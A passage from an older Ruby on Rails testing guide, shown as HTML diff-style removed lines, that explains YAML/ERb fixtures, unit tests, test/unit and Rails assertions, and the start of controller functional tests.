-<div class="para"><p>YAML-formatted fixtures are a very human-friendly way to describe your sample data. These types of fixtures have the <strong>.yml</strong> file extension (as in <tt>users.yml</tt>).</p></div>
-<div class="para"><p>Here's a sample YAML fixture file:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-style: italic"><span style="color: #9A1900"># low &amp; behold!  I am a YAML comment!</span></span>
-david<span style="color: #990000">:</span>
- name<span style="color: #990000">:</span> David Heinemeier Hansson
- birthday<span style="color: #990000">:</span> <span style="color: #993399">1979</span><span style="color: #990000">-</span><span style="color: #993399">10</span><span style="color: #990000">-</span><span style="color: #993399">15</span>
- profession<span style="color: #990000">:</span> Systems development
-
-steve<span style="color: #990000">:</span>
- name<span style="color: #990000">:</span> Steve Ross Kellock
- birthday<span style="color: #990000">:</span> <span style="color: #993399">1974</span><span style="color: #990000">-</span><span style="color: #993399">09</span><span style="color: #990000">-</span><span style="color: #993399">27</span>
- profession<span style="color: #990000">:</span> guy with keyboard
-</tt></pre></div></div>
-<div class="para"><p>Each fixture is given a name followed by an indented list of colon-separated key/value pairs. Records are separated by a blank space. You can place comments in a fixture file by using the # character in the first column.</p></div>
-<h4 id="_erb_in_it_up">2.3.3. ERb'in It Up</h4>
-<div class="para"><p>ERb allows you embed ruby code within templates. Both the YAML and CSV fixture formats are pre-processed with ERb when you load fixtures. This allows you to use Ruby to help you generate some sample data.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #FF0000">&lt;% earth_size = 20 -%&gt;</span>
-mercury<span style="color: #990000">:</span>
-  size<span style="color: #990000">:</span> <span style="color: #FF0000">&lt;%= earth_size / 50 %&gt;</span>
-  brightest_on<span style="color: #990000">:</span> <span style="color: #FF0000">&lt;%= 113.days.ago.to_s(:db) %&gt;</span>
-
-venus<span style="color: #990000">:</span>
-  size<span style="color: #990000">:</span> <span style="color: #FF0000">&lt;%= earth_size / 2 %&gt;</span>
-  brightest_on<span style="color: #990000">:</span> <span style="color: #FF0000">&lt;%= 67.days.ago.to_s(:db) %&gt;</span>
-
-mars<span style="color: #990000">:</span>
-  size<span style="color: #990000">:</span> <span style="color: #FF0000">&lt;%= earth_size - 69 %&gt;</span>
-  brightest_on<span style="color: #990000">:</span> <span style="color: #FF0000">&lt;%= 13.days.from_now.to_s(:db) %&gt;</span>
-</tt></pre></div></div>
-<div class="para"><p>Anything encased within the</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #FF0000">&lt;% %&gt;</span>
-</tt></pre></div></div>
-<div class="para"><p>tag is considered Ruby code. When this fixture is loaded, the <tt>size</tt> attribute of the three records will be set to 20/50, 20/2, and 20-69 respectively. The <tt>brightest_on</tt> attribute will also be evaluated and formatted by Rails to be compatible with the database.</p></div>
-<h4 id="_fixtures_in_action">2.3.4. Fixtures in Action</h4>
-<div class="para"><p>Rails by default automatically loads all fixtures from the <em>test/fixtures</em> folder for your unit and functional test. Loading involves three steps:</p></div>
-<div class="ilist"><ul>
-<li>
-<p>
-Remove any existing data from the table corresponding to the fixture
-</p>
-</li>
-<li>
-<p>
-Load the fixture data into the table
-</p>
-</li>
-<li>
-<p>
-Dump the fixture data into a variable in case you want to access it directly
-</p>
-</li>
-</ul></div>
-<h4 id="_hashes_with_special_powers">2.3.5. Hashes with Special Powers</h4>
-<div class="para"><p>Fixtures are basically Hash objects. As mentioned in point #3 above, you can access the hash object directly because it is automatically setup as a local variable of the test case. For example:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-style: italic"><span style="color: #9A1900"># this will return the Hash for the fixture named david</span></span>
-users<span style="color: #990000">(:</span>david<span style="color: #990000">)</span>
-
-<span style="font-style: italic"><span style="color: #9A1900"># this will return the property for david called id</span></span>
-users<span style="color: #990000">(:</span>david<span style="color: #990000">).</span>id
-</tt></pre></div></div>
-<div class="para"><p>Fixtures can also transform themselves into the form of the original class. Thus, you can get at the methods only available to that class.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-style: italic"><span style="color: #9A1900"># using the find method, we grab the "real" david as a User</span></span>
-david <span style="color: #990000">=</span> users<span style="color: #990000">(:</span>david<span style="color: #990000">).</span>find
-
-<span style="font-style: italic"><span style="color: #9A1900"># and now we have access to methods only available to a User class</span></span>
-email<span style="color: #990000">(</span>david<span style="color: #990000">.</span>girlfriend<span style="color: #990000">.</span>email<span style="color: #990000">,</span> david<span style="color: #990000">.</span>location_tonight<span style="color: #990000">)</span>
-</tt></pre></div></div>
-</div>
-<h2 id="_unit_testing_your_models">3. Unit Testing your Models</h2>
-<div class="sectionbody">
-<div class="para"><p>In Rails, unit tests are what you write to test your models.</p></div>
-<div class="para"><p>For this guide we will be using Rails <em>scaffolding</em>. It will create the model, a migration, controller and views for the new resource in a single operation. It will also create a full test suite following Rails best practises. I will be using examples from this generated code and would be supplementing it with additional examples where necessary.</p></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/note.png" alt="Note" />
-</td>
-<td class="content">For more information on Rails <em>scaffolding</em>, refer to <a href="../getting_started_with_rails.html">Getting Started with Rails</a></td>
-</tr></table>
-</div>
-<div class="para"><p>When you use <tt>script/generate scaffold</tt>, for a resource among other things it creates a test stub in the <tt>test/unit</tt> folder:</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>$ script/generate scaffold post title:string body:text
-...
-create  app/models/post.rb
-create  test/unit/post_test.rb
-create  test/fixtures/posts.yml
-...</tt></pre>
-</div></div>
-<div class="para"><p>The default test stub in <tt>test/unit/post_test.rb</tt> looks like this:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #000080">require</span></span> <span style="color: #FF0000">'test_helper'</span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> PostTest <span style="color: #990000">&lt;</span> ActiveSupport<span style="color: #990000">::</span>TestCase
-  <span style="font-style: italic"><span style="color: #9A1900"># Replace this with your real tests.</span></span>
-  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_truth
-    assert <span style="font-weight: bold"><span style="color: #0000FF">true</span></span>
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>A line by line examination of this file will help get you oriented to Rails testing code and terminology.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #000080">require</span></span> <span style="color: #FF0000">'test_helper'</span>
-</tt></pre></div></div>
-<div class="para"><p>As you know by now that <tt>test_helper.rb</tt> specifies the default configuration to run our tests. This is included with all the tests, so any methods added to this file are available to all your tests.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> PostTest <span style="color: #990000">&lt;</span> ActiveSupport<span style="color: #990000">::</span>TestCase
-</tt></pre></div></div>
-<div class="para"><p>The <tt>PostTest</tt> class defines a <em>test case</em> because it inherits from <tt>ActiveSupport::TestCase</tt>. <tt>PostTest</tt> thus has all the methods available from <tt>ActiveSupport::TestCase</tt>. You'll see those methods a little later in this guide.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_truth
-</tt></pre></div></div>
-<div class="para"><p>Any method defined within a test case that begins with <tt>test</tt> (case sensitive) is simply called a test. So, <tt>test_password</tt>, <tt>test_valid_password</tt> and <tt>testValidPassword</tt> all are legal test names and are run automatically when the test case is run.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>assert <span style="font-weight: bold"><span style="color: #0000FF">true</span></span>
-</tt></pre></div></div>
-<div class="para"><p>This line of code is called an <em>assertion</em>. An assertion is a line of code that evaluates an object (or expression) for expected results. For example, an assertion can check:</p></div>
-<div class="ilist"><ul>
-<li>
-<p>
-is this value = that value?
-</p>
-</li>
-<li>
-<p>
-is this object nil?
-</p>
-</li>
-<li>
-<p>
-does this line of code throw an exception?
-</p>
-</li>
-<li>
-<p>
-is the user's password greater than 5 characters?
-</p>
-</li>
-</ul></div>
-<div class="para"><p>Every test contains one or more assertions. Only when all the assertions are successful the test passes.</p></div>
-<h3 id="_preparing_you_application_for_testing">3.1. Preparing you Application for Testing</h3>
-<div class="para"><p>Before you can run your tests you need to ensure that the test database structure is current. For this you can use the following rake commands:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>$ rake db<span style="color: #990000">:</span>migrate
-<span style="color: #990000">...</span>
-$ rake db<span style="color: #990000">:</span><span style="font-weight: bold"><span style="color: #0000FF">test</span></span><span style="color: #990000">:</span>load
-</tt></pre></div></div>
-<div class="para"><p>Above <tt>rake db:migrate</tt> runs any pending migrations on the <em>developemnt</em> environment and updates <tt>db/schema.rb</tt>. <tt>rake db:test:load</tt> recreates the test database from the current db/schema.rb. On subsequent attempts it is a good to first run <tt>db:test:prepare</tt> as it first checks for pending migrations and warns you appropriately.</p></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/note.png" alt="Note" />
-</td>
-<td class="content"><tt>db:test:prepare</tt> will fail with an error if db/schema.rb doesn't exists.</td>
-</tr></table>
-</div>
-<h4 id="_rake_tasks_for_preparing_you_application_for_testing">3.1.1. Rake Tasks for Preparing you Application for Testing ==</h4>
-<div class="para"><p>--------------------------------`----------------------------------------------------
-Tasks                           Description</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>+rake db:test:clone+            Recreate the test database from the current environment's database schema
-+rake db:test:clone_structure+  Recreate the test databases from the development structure
-+rake db:test:load+             Recreate the test database from the current +schema.rb+
-+rake db:test:prepare+          Check for pending migrations and load the test schema
-+rake db:test:purge+            Empty the test database.</tt></pre>
-</div></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/tip.png" alt="Tip" />
-</td>
-<td class="content">You can see all these rake tasks and their descriptions by running <tt>rake &#8212;tasks &#8212;describe</tt></td>
-</tr></table>
-</div>
-<h3 id="_running_tests">3.2. Running Tests</h3>
-<div class="para"><p>Running a test is as simple as invoking the file containing the test cases through Ruby:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>$ cd <span style="font-weight: bold"><span style="color: #0000FF">test</span></span>
-$ ruby unit/post_test<span style="color: #990000">.</span>rb
-
-Loaded suite unit/post_test
-Started
-<span style="color: #990000">.</span>
-Finished <span style="font-weight: bold"><span style="color: #0000FF">in</span></span> <span style="color: #993399">0.023513</span> seconds<span style="color: #990000">.</span>
-
-<span style="color: #993399">1</span> tests<span style="color: #990000">,</span> <span style="color: #993399">1</span> assertions<span style="color: #990000">,</span> <span style="color: #993399">0</span> failures<span style="color: #990000">,</span> <span style="color: #993399">0</span> errors
-</tt></pre></div></div>
-<div class="para"><p>This will run all the test methods from the test case.</p></div>
-<div class="para"><p>You can also run a particular test method from the test case by using the <tt>-n</tt> switch with the <tt>test method name</tt>.</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>$ ruby unit/post_test.rb -n test_truth
-
-Loaded suite unit/post_test
-Started
-.
-Finished in 0.023513 seconds.
-
-1 tests, 1 assertions, 0 failures, 0 errors</tt></pre>
-</div></div>
-<div class="para"><p>The <tt>.</tt> (dot) above indicates a passing test. When a test fails you see an <tt>F</tt>; when a test throws an error you see an <tt>E</tt> in its place. The last line of the output is the summary.</p></div>
-<div class="para"><p>To see how a test failure is reported, you can add a failing test to the <tt>post_test.rb</tt> test case.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_should_not_save_post_without_title
-  post <span style="color: #990000">=</span> Post<span style="color: #990000">.</span>new
-  assert <span style="color: #990000">!</span>post<span style="color: #990000">.</span>save
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>Let us run this newly added test.</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>$ ruby unit/post_test.rb -n test_should_not_save_post_without_title
-Loaded suite unit/post_test
-Started
-F
-Finished in 0.197094 seconds.
-
-  1) Failure:
-test_should_not_save_post_without_title(PostTest)
-    [unit/post_test.rb:11:in `test_should_not_save_post_without_title'
-     /opt/local/lib/ruby/gems/1.8/gems/activesupport-2.1.1/lib/active_support/testing/setup_and_teardown.rb:33:in `__send__'
-     /opt/local/lib/ruby/gems/1.8/gems/activesupport-2.1.1/lib/active_support/testing/setup_and_teardown.rb:33:in `run']:
-&lt;false&gt; is not true.
-
-1 tests, 1 assertions, 1 failures, 0 errors</tt></pre>
-</div></div>
-<div class="para"><p>In the output, <tt>F</tt> denotes a failure. You can see the corresponding trace shown under <tt>1)</tt> along with the name of the failing test. The next few lines contain the stack trace followed by a message which mentions the actual value and the expected value by the assertion. The default assertion messages provide just enough information to help pinpoint the error. To make the assertion failure message more readable every assertion provides an optional message parameter, as shown here:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_should_not_save_post_without_title
-  post <span style="color: #990000">=</span> Post<span style="color: #990000">.</span>new
-  assert <span style="color: #990000">!</span>post<span style="color: #990000">.</span>save<span style="color: #990000">,</span> <span style="color: #FF0000">"Saved the post without a title"</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>Running this test shows the friendlier assertion message:</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>$ ruby unit/post_test.rb -n test_should_not_save_post_without_title
-Loaded suite unit/post_test
-Started
-F
-Finished in 0.198093 seconds.
-
-  1) Failure:
-test_should_not_save_post_without_title(PostTest)
-    [unit/post_test.rb:11:in `test_should_not_save_post_without_title'
-     /opt/local/lib/ruby/gems/1.8/gems/activesupport-2.1.1/lib/active_support/testing/setup_and_teardown.rb:33:in `__send__'
-     /opt/local/lib/ruby/gems/1.8/gems/activesupport-2.1.1/lib/active_support/testing/setup_and_teardown.rb:33:in `run']:
-Saved the post without a title.
-&lt;false&gt; is not true.
-
-1 tests, 1 assertions, 1 failures, 0 errors</tt></pre>
-</div></div>
-<div class="para"><p>Now to get this test to pass we can add a model level validation for the <em>title</em> field.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Post <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-  validates_presence_of <span style="color: #990000">:</span>title
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>Now the test should pass. Let us verify by running the test again:</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>$ ruby unit/post_test.rb -n test_should_not_save_post_without_title
-Loaded suite unit/post_test
-Started
-.
-Finished in 0.193608 seconds.
-
-1 tests, 1 assertions, 0 failures, 0 errors</tt></pre>
-</div></div>
-<div class="para"><p>Now if you noticed we first wrote a test which fails for a desired functionality, then we wrote some code which adds the functionality and finally we ensured that our test passes. This approach to software development is referred to as <em>Test-Driven Development</em> (TDD).</p></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/tip.png" alt="Tip" />
-</td>
-<td class="content">Many Rails developers practice <em>Test-Driven Development</em> (TDD). This is an excellent way to build up a test suite that exercises every part of your application. TDD is beyond the scope of this guide, but one place to start is with <a href="http://andrzejonsoftware.blogspot.com/2007/05/15-tdd-steps-to-create-rails.html">15 TDD steps to create a Rails application</a>.</td>
-</tr></table>
-</div>
-<div class="para"><p>To see how an error gets reported, here's a test containing an error:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_should_report_error
-  <span style="font-style: italic"><span style="color: #9A1900"># some_undefined_variable is not defined elsewhere in the test case</span></span>
-  some_undefined_variable
-  assert <span style="font-weight: bold"><span style="color: #0000FF">true</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>Now you can see even more output in the console from running the tests:</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>$ ruby unit/post_test.rb -n test_should_report_error
-Loaded suite unit/post_test
-Started
-E
-Finished in 0.195757 seconds.
-
-  1) Error:
-test_should_report_error(PostTest):
-NameError: undefined local variable or method `some_undefined_variable' for #&lt;PostTest:0x2cc9de8&gt;
-    /opt/local/lib/ruby/gems/1.8/gems/actionpack-2.1.1/lib/action_controller/test_process.rb:467:in `method_missing'
-    unit/post_test.rb:16:in `test_should_report_error'
-    /opt/local/lib/ruby/gems/1.8/gems/activesupport-2.1.1/lib/active_support/testing/setup_and_teardown.rb:33:in `__send__'
-    /opt/local/lib/ruby/gems/1.8/gems/activesupport-2.1.1/lib/active_support/testing/setup_and_teardown.rb:33:in `run'
-
-1 tests, 0 assertions, 0 failures, 1 errors</tt></pre>
-</div></div>
-<div class="para"><p>Notice the <em>E</em> in the output. It denotes a test with error.</p></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/note.png" alt="Note" />
-</td>
-<td class="content">The execution of each test method stops as soon as any error or a assertion failure is encountered, and the test suite continues with the next method. All test methods are executed in alphabetical order.</td>
-</tr></table>
-</div>
-<h3 id="_what_to_include_in_your_unit_tests">3.3. What to Include in Your Unit Tests</h3>
-<div class="para"><p>Ideally you would like to include a test for everything which could possibly break. It's a good practice to have at least one test for each of your validations and at least one test for every method in your model.</p></div>
-<h3 id="_assertions_available">3.4. Assertions Available</h3>
-<div class="para"><p>By now you've caught a glimpse of some of the assertions that are available. Assertions are the worker bees of testing. They are the ones that actually perform the checks to ensure that things are going as planned.</p></div>
-<div class="para"><p>There are a bunch of different types of assertions you can use. Here's the complete list of assertions that ship with <tt>test/unit</tt>, the testing library used by Rails. The <tt>[msg]</tt> parameter is an optional string message you can specify to make your test failure messages clearer. It's not required.</p></div>
-<div class="tableblock">
-<table rules="all"
-frame="hsides"
-cellspacing="0" cellpadding="4">
-<col width="754" />
-<col width="834" />
-<thead>
-  <tr>
-    <th align="left">
-    Assertion
-    </th>
-    <th align="left">
-    Purpose
-    </th>
-  </tr>
-</thead>
-<tbody valign="top">
-  <tr>
-    <td align="left">
-    <tt>assert( boolean, [msg] )</tt>
-    </td>
-    <td align="left">
-    Ensures that the object/expression is true.
-    </td>
-  </tr>
-  <tr>
-    <td align="left">
-    <tt>assert_equal( obj1, obj2, [msg] )</tt>
-    </td>
-    <td align="left">
-    Ensures that <tt>obj1 == obj2</tt> is true.
-    </td>
-  </tr>
-  <tr>
-    <td align="left">
-    <tt>assert_not_equal( obj1, obj2, [msg] )</tt>
-    </td>
-    <td align="left">
-    Ensures that <tt>obj1 == obj2</tt> is false.
-    </td>
-  </tr>
-  <tr>
-    <td align="left">
-    <tt>assert_same( obj1, obj2, [msg] )</tt>
-    </td>
-    <td align="left">
-    Ensures that <tt>obj1.equal?(obj2)</tt> is true.
-    </td>
-  </tr>
-  <tr>
-    <td align="left">
-    <tt>assert_not_same( obj1, obj2, [msg] )</tt>
-    </td>
-    <td align="left">
-    Ensures that <tt>obj1.equal?(obj2)</tt> is false.
-    </td>
-  </tr>
-  <tr>
-    <td align="left">
-    <tt>assert_nil( obj, [msg] )</tt>
-    </td>
-    <td align="left">
-    Ensures that <tt>obj.nil?</tt> is true.
-    </td>
-  </tr>
-  <tr>
-    <td align="left">
-    <tt>assert_not_nil( obj, [msg] )</tt>
-    </td>
-    <td align="left">
-    Ensures that <tt>obj.nil?</tt> is false.
-    </td>
-  </tr>
-  <tr>
-    <td align="left">
-    <tt>assert_match( regexp, string, [msg] )</tt>
-    </td>
-    <td align="left">
-    Ensures that a string matches the regular expression.
-    </td>
-  </tr>
-  <tr>
-    <td align="left">
-    <tt>assert_no_match( regexp, string, [msg] )</tt>
-    </td>
-    <td align="left">
-    Ensures that a string doesn't matches the regular expression.
-    </td>
-  </tr>
-  <tr>
-    <td align="left">
-    <tt>assert_in_delta( expecting, actual, delta, [msg] )</tt>
-    </td>
-    <td align="left">
-    Ensures that the numbers <tt>expecting</tt> and <tt>actual</tt> are within <tt>delta</tt> of each other.
-    </td>
-  </tr>
-  <tr>
-    <td align="left">
-    <tt>assert_throws( symbol, [msg] ) { block }</tt>
-    </td>
-    <td align="left">
-    Ensures that the given block throws the symbol.
-    </td>
-  </tr>
-  <tr>
-    <td align="left">
-    <tt>assert_raises( exception1, exception2, &#8230; ) { block }</tt>
-    </td>
-    <td align="left">
-    Ensures that the given block raises one of the given exceptions.
-    </td>
-  </tr>
-  <tr>
-    <td align="left">
-    <tt>assert_nothing_raised( exception1, exception2, &#8230; ) { block }</tt>
-    </td>
-    <td align="left">
-    Ensures that the given block doesn't raise one of the given exceptions.
-    </td>
-  </tr>
-  <tr>
-    <td align="left">
-    <tt>assert_instance_of( class, obj, [msg] )</tt>
-    </td>
-    <td align="left">
-    Ensures that <tt>obj</tt> is of the <tt>class</tt> type.
-    </td>
-  </tr>
-  <tr>
-    <td align="left">
-    <tt>assert_kind_of( class, obj, [msg] )</tt>
-    </td>
-    <td align="left">
-    Ensures that <tt>obj</tt> is or descends from <tt>class</tt>.
-    </td>
-  </tr>
-  <tr>
-    <td align="left">
-    <tt>assert_respond_to( obj, symbol, [msg] )</tt>
-    </td>
-    <td align="left">
-    Ensures that <tt>obj</tt> has a method called <tt>symbol</tt>.
-    </td>
-  </tr>
-  <tr>
-    <td align="left">
-    <tt>assert_operator( obj1, operator, obj2, [msg] )</tt>
-    </td>
-    <td align="left">
-    Ensures that <tt>obj1.operator(obj2)</tt> is true.
-    </td>
-  </tr>
-  <tr>
-    <td align="left">
-    <tt>assert_send( array, [msg] )</tt>
-    </td>
-    <td align="left">
-    Ensures that executing the method listed in <tt>array[1]</tt> on the object in <tt>array[0]</tt> with the parameters of <tt>array[2 and up]</tt> is true. This one is weird eh?
-    </td>
-  </tr>
-  <tr>
-    <td align="left">
-    <tt>flunk( [msg] )</tt>
-    </td>
-    <td align="left">
-    Ensures failure. This is useful to explicitly mark a test that isn't finished yet.
-    </td>
-  </tr>
-</tbody>
-</table>
-</div>
-<div class="para"><p>Because of the modular nature of the testing framework, it is possible to create your own assertions. In fact, that's exactly what Rails does. It includes some specialized assertions to make your life easier.</p></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/note.png" alt="Note" />
-</td>
-<td class="content">Creating your own assertions is an advanced topic that we won't cover in this tutorial.</td>
-</tr></table>
-</div>
-<h3 id="_rails_specific_assertions">3.5. Rails Specific Assertions</h3>
-<div class="para"><p>Rails adds some custom assertions of its own to the <tt>test/unit</tt> framework:</p></div>
-<div class="tableblock">
-<table rules="all"
-frame="hsides"
-cellspacing="0" cellpadding="4">
-<col width="948" />
-<col width="640" />
-<thead>
-  <tr>
-    <th align="left">
-    Assertion
-    </th>
-    <th align="left">
-    Purpose
-    </th>
-  </tr>
-</thead>
-<tbody valign="top">
-  <tr>
-    <td align="left">
-    <tt>assert_valid(record)</tt>
-    </td>
-    <td align="left">
-    Ensures that the passed record is valid by Active Record standards and returns any error messages if it is not.
-    </td>
-  </tr>
-  <tr>
-    <td align="left">
-    <tt>assert_difference(expressions, difference = 1, message = nil) {|| &#8230;}</tt>
-    </td>
-    <td align="left">
-    Test numeric difference between the return value of an expression as a result of what is evaluated in the yielded block.
-    </td>
-  </tr>
-  <tr>
-    <td align="left">
-    <tt>assert_no_difference(expressions, message = nil, &amp;block)</tt>
-    </td>
-    <td align="left">
-    Asserts that the numeric result of evaluating an expression is not changed before and after invoking the passed in block.
-    </td>
-  </tr>
-  <tr>
-    <td align="left">
-    <tt>assert_recognizes(expected_options, path, extras={}, message=nil)</tt>
-    </td>
-    <td align="left">
-    Asserts that the routing of the given path was handled correctly and that the parsed options (given in the expected_options hash) match path. Basically, it asserts that Rails recognizes the route given by expected_options.
-    </td>
-  </tr>
-  <tr>
-    <td align="left">
-    <tt>assert_generates(expected_path, options, defaults={}, extras = {}, message=nil)</tt>
-    </td>
-    <td align="left">
-    Asserts that the provided options can be used to generate the provided path. This is the inverse of assert_recognizes. The extras parameter is used to tell the request the names and values of additional request parameters that would be in a query string. The message parameter allows you to specify a custom error message for assertion failures.
-    </td>
-  </tr>
-  <tr>
-    <td align="left">
-    <tt>assert_response(type, message = nil)</tt>
-    </td>
-    <td align="left">
-    Asserts that the response comes with a specific status code. You can specify <tt>:success</tt> to indicate 200,  <tt>:redirect</tt> to indicate 300-399, <tt>:missing</tt> to indicate 404, or <tt>:error</tt> to match the 500-599 range
-    </td>
-  </tr>
-  <tr>
-    <td align="left">
-    <tt>assert_redirected_to(options = {}, message=nil)</tt>
-    </td>
-    <td align="left">
-    Assert that the redirection options passed in match those of the redirect called in the latest action. This match can be partial, such that <tt>assert_redirected_to(:controller &#8658; "weblog")</tt> will also match the redirection of <tt>redirect_to(:controller &#8658; "weblog", :action &#8658; "show")</tt> and so on.
-    </td>
-  </tr>
-  <tr>
-    <td align="left">
-    <tt>assert_template(expected = nil, message=nil)</tt>
-    </td>
-    <td align="left">
-    Asserts that the request was rendered with the appropriate template file.
-    </td>
-  </tr>
-</tbody>
-</table>
-</div>
-<div class="para"><p>You'll see the usage of some of these assertions in the next chapter.</p></div>
-</div>
-<h2 id="_functional_tests_for_your_controllers">4. Functional Tests for Your Controllers</h2>
-<div class="sectionbody">
-<div class="para"><p>In Rails, testing the various actions of a single controller is called writing functional tests for that controller. Controllers handle the incoming web requests to your application and eventually respond with a rendered view.</p></div>
-<h3 id="_what_to_include_in_your_functional_tests">4.1. What to include in your Functional Tests</h3>
-<div class="para"><p>You should test for things such as:</p></div>
-<div class="ilist"><ul>
-<li>
-<p>
-was the web request successful?
-</p>
-</li>
-<li>
-<p>
-was the user redirected to the right page?
-</p>
-</li>
-<li>
-<p>
-was the user successfully authenticated?
-</p>
-</li>
-<li>
-<p>
-was the correct object stored in the response template?
-</p>
-</li>
-<li>
-<p>
-was the appropriate message displayed to the user in the view
-</p>
-</li>
-</ul></div>
-<div class="para"><p>Now that we have used Rails scaffold generator for our <tt>Post</tt> resource, it has already created the controller code and functional tests. You can take look at the file <tt>posts_controller_test.rb</tt> in the <tt>test/functional</tt> directory.</p></div>
-<div class="para"><p>Let me take you through one such test, <tt>test_should_get_index</tt> from the file <tt>posts_controller_test.rb</tt>.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_should_get_index
-  get <span style="color: #990000">:</span>index
-  assert_response <span style="color: #990000">:</span>success
-  assert_not_nil assigns<span style="color: #990000">(:</span>posts<span style="color: #990000">)</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>In the <tt>test_should_get_index</tt> test, Rails simulates a request on the action called index, making sure the request was successful and also ensuring that it assigns a valid <tt>posts</tt> instance variable.</p></div>
-<div class="para"><p>The <tt>get</tt> method kicks off the web request and populates the results into the response. It accepts 4 arguments:</p></div>
-<div class="ilist"><ul>
-<li>
-<p>
-The action of the controller you are requesting. This can be in the form of a string or a symbol.
-</p>
-</li>
-<li>
-<p>
-An optional hash of request parameters to pass into the action (eg. query string parameters or post variables).
-</p>
-</li>
-<li>
-<p>
-An optional hash of session variables to pass along with the request.
-</p>
-</li>
-<li>
-<p>
-An optional hash of flash values.
-</p>
-</li>
